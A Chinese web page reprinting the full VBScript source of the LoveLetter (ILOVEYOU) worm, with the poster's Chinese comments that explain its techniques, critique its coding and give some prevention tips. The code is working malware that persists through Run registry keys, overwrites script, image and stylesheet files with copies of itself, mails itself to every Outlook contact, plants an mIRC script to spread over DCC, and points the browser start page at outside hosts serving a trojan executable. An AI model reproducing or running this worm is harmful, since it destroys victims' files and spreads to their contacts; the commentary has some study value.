打印本文 打印本文  关闭窗口 关闭窗口  
LoveLetter病毒源代码
作者:佚名  文章来源:不详  点击数  更新时间:2008/6/12 20:56:09  文章录入:杜斌  责任编辑:杜斌

  ' 如果认为本文章可能被坏人利用,请予以删除。
  ' 程序中的中文注释为本人所加,并针对病毒特点予以解释,同时,给出了预防病毒的方法。
  ' 我个人认为Love Letter写的并不是十分的棒,但是它使用的不少技术确实令人赞叹
  ' 病毒作者也许没有受过专业的编程训练,但是从选择的程序资源来看,确实下了一番功夫。
  ' 本病毒源码也可以用来回答VB爱好者的很多问题。

  rem barok -loveletter(vbe) <i hate go to school>
  rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
  pines
  ' 注释:程序作者的签名(可能)

  On Error Resume Next
  dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  eq=""
  ctr=0
  Set fso = CreateObject("Scripting.FileSystemObject")
  ' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大

  ' 从病毒使用FSO可以知道,通过修改注册表,可以轻易防止 Love Letter发作。
  

  set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  vbscopy=file.ReadAll
  main()
  ' 注释 - 程序初始化完成。

  sub main()
  On Error Resume Next
  dim wscr,rr
  set wscr=CreateObject("WScript.Shell")
  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
  g Host\Settings\Timeout")
  if (rr>=1) then
  wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
  Host\Settings\Timeout",0,"REG_DWORD"
  ' 注释 - 防止操作超时造成的程序终止。
  ' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程
  者借鉴。
  end if
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  ' 获取系统关键文件夹的名称
  ' VB编程时可以用。

  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  ' 复制自身到关键目录中备用。
  ' 文件名并不是很好。太容易被发现了。

  regruns()
  html()
  spreadtoemail()
  listadriv()
  end sub
  sub regruns()
  ' 修改注册表,以便自动装载病毒程序
  ' 预防:经常检查注册表中的这一分支。
  ' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进,
  ' 因为它不会因为语言问题而失效。
  On Error Resume Next
  Dim num,downread
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
  n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
  n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
  downread=""
  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
  r\Download Directory")
  if (downread="") then
  downread="c:\"
  end if
  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  Randomize
  num = Int((4 * Rnd) + 1)
  if num = 1 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
  "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
  w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  elseif num = 2 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
  "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
  546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  elseif num = 3 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
  "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkboPBdQZnm
  POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  elseif num = 4 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
  "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
  YUgqwerasdjhPhjasfdglkNBhbqWebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
  UGSFIX.exe"
  end if
  end if

  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
  n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
  \Start Page","about:blank"
  end if
  end sub
  sub listadriv
  ' 遍历所有驱动器。
  On Error Resume Next
  Dim d,dc,s
  Set dc = fso.Drives
  For Each d in dc
  If d.DriveType = 2 or d.DriveType=3 Then
  folderlist(d.path&"\")
  end if
  Next
  listadriv = s
  end sub
  sub infectfiles(folderspec)
  ' 执行传染文件的操作。
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,MP3
  set f = fso.GetFolder(folderspec)
  set fc = f.Files
  for each f1 in fc
  ext=fso.GetExtensionName(f1.path)
  ext=lcase(ext)
  s=lcase(f1.name)
  if (ext="vbs") or (ext="vbe") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
  "sct") or (ext="hta") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  bname=fso.GetBaseName(f1.path)
  set cop=fso.GetFile(f1.path)
  cop.copy(folderspec&"\"&bname&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="jpg") or (ext="jpeg") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  set cop=fso.GetFile(f1.path)
  cop.copy(f1.path&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="mp3") or (ext="mp2") then
  set mp3=fso.CreateTextFile(f1.path&".vbs")
  mp3.write vbscopy
  mp3.close
  set att=fso.GetFile(f1.path)
  att.attributes=att.attributes+2
  end if
  if (eq<>folderspec) then
  if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
  pt.ini") or (s="mirc.hlp") then
  set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  scriptini.WriteLine "[script]"
  scriptini.WriteLine ";mIRC Script"
  scriptini.WriteLine "; Please dont edit this script... mIRC will corru
  pt, if mIRC will"
  scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
  correctly. thanks"
  ' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。
  ' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不
  少。
  scriptini.WriteLine ";"
  scriptini.WriteLine ";Khaled Mardam-Bey"
  scriptini.WriteLine ";http://www.mirc.com"
  scriptini.WriteLine ";"
  scriptini.WriteLine "n0=on 1:JOIN:#:{"
  scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
  scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO
  R-YOU.HTM"
  scriptini.WriteLine "n3=}"
  ' 注意,这样做的结果是,MIRC也能够传染病毒。
  scriptini.close
  eq=folderspec
  end if
  end if
  next
  end sub
  sub folderlist(folderspec)
  ' 遍历文件夹
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)
  set sf = f.SubFolders
  for each f1 in sf
  infectfiles(f1.path)
  folderlist(f1.path)
  next
  end sub

  sub regcreate(regkey,regvalue)
  ' 修改注册表(创建键值)
  ' 这个程序似乎是微软的示范程序。
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
  end sub
  function regget(value)
  ' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
  end function
  function fileexist(filespec)
  ' 判断文件是否存在
  ' 纯粹从技术角度讲,这段程序写的不怎么样。
  ' 不用写这么长就能够实现相同的功能
  On Error Resume Next
  dim msg
  if (fso.FileExists(filespec)) Then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  function folderexist(folderspec)
  ' 判断文件夹是否存在
  ' 和上一段程序一样臭。
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  sub spreadtoemail()
  ' 通过电子邮件扩散
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  ' 病毒的局限:只支持Outlook,而Outlook Express则不支持。
  set mapi=out.GetNameSpace("MAPI")
  for ctrlists=1 to mapi.AddressLists.Count
  set a=mapi.AddressLists(ctrlists)
  x=1
  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
  if (regv="") then
  regv=1
  end if
  if (int(a.AddressEntries.Count)>int(regv)) then
  for ctrentries=1 to a.AddressEntries.Count
  malead=a.AddressEntries(x)
  regad=""
  regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male
  ad)
  if (regad="") then
  set male=out.CreateItem(0)
  male.Recipients.Add(malead)
  male.Subject = "ILOVEYOU"
  ' 病毒得名的原因
  ' 见到这样的邮件,肯定是病毒。
  ' 头脑正常的人恐怕不会这样直白的。
  male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
  e."
  male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  male.Send
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,
  "REG_DWORD"
  end if
  x=x+1
  next
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
  ssEntries.Count
  else
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
  ssEntries.Count
  end if
  next
  Set out=Nothing
  Set mapi=Nothing
  end sub
  sub html
  ' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源
  。
  ' 值得编写程序的借鉴。
  ' 程序中间的_符号是连接线,所以注释写在这里。
  ' 程序中无效语句很多,浪费了不少空间。
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene
  rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G
  RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go
  od...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO
  VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
  U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@
  >"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
  ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
  X<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
  --z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight
  ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="
  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf&
  _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf
  & _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
  _
  "if (err.number=424) then"&vbcrlf& _
  "aw=0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
  ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
  bs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"
  dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=CreateObject("Scripting.FileSystemObject")
  set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  lines=Split(c.ReadAll,vbcrlf)
  l1=ubound(lines)
  for n=0 to ubound(lines)
  lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
  if (l1=n) then
  lines(n)=chr(34)+lines(n)+chr(34)
  else
  lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
  end if
  next
  set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  b.close
  set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
  end sub

打印本文 打印本文  关闭窗口 关闭窗口